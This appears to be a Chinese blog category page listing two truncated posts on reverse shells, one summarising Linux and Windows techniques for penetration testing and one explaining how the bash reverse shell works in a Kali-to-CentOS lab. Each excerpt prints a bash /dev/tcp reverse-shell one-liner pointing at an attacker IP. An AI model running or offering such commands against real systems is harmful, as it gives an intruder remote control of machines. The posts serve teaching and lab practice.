分类：反弹shell

2021
12-10

反弹shell的几种姿势小结

目录Linux反弹shell Windows反弹shell在渗透过程中，往往因为端口限制而无法直连目标机器，此时需要通过反弹shell来获取一个交互式shell，以便继续深入。反弹shell是打开内网通道的第一步，也是权限提升过程中至关重要的一步。所有姿势整理自网络，假设，攻击者主机为：192.168.99.242，本地监听1234端口，如有特殊情况以下会备注说明。Linux反弹shell姿势一：bash反弹bash-i>&/dev/tcp/192.168.99.242/12340>&1base64... 继续阅读 >

2020
10-16

浅析Linux之bash反弹shell原理

环境攻击机：kali      ip：192.168.25.144靶  机：centos   ip：192.168.25.142过程kali监听本地8888端口靶机centos写入反弹shell的命令bash-i>&/dev/tcp/192.168.25.144/88880>&1攻击机kali成功反弹shell原理反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作，原因有很多，例如目标是局域网，或者开启防火墙的某些策略等情况，而这... 继续阅读 >